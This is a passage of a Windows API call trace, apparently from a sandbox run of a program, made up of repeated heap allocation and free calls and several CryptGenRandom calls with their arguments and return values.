lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.535] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.536] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.536] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.536] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.536] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.536] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.536] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.537] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.537] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.537] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.538] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.538] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.538] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.538] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.538] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.539] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.539] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.539] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.539] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.540] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.540] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.540] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.541] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.541] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.541] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.541] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.541] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.582] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.583] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.583] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.583] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.584] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.584] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.584] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.584] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.584] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.585] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.585] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.585] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.585] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.586] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.586] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.586] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.587] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.587] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511438 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.587] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514488 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.589] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.589] HeapFree (in: 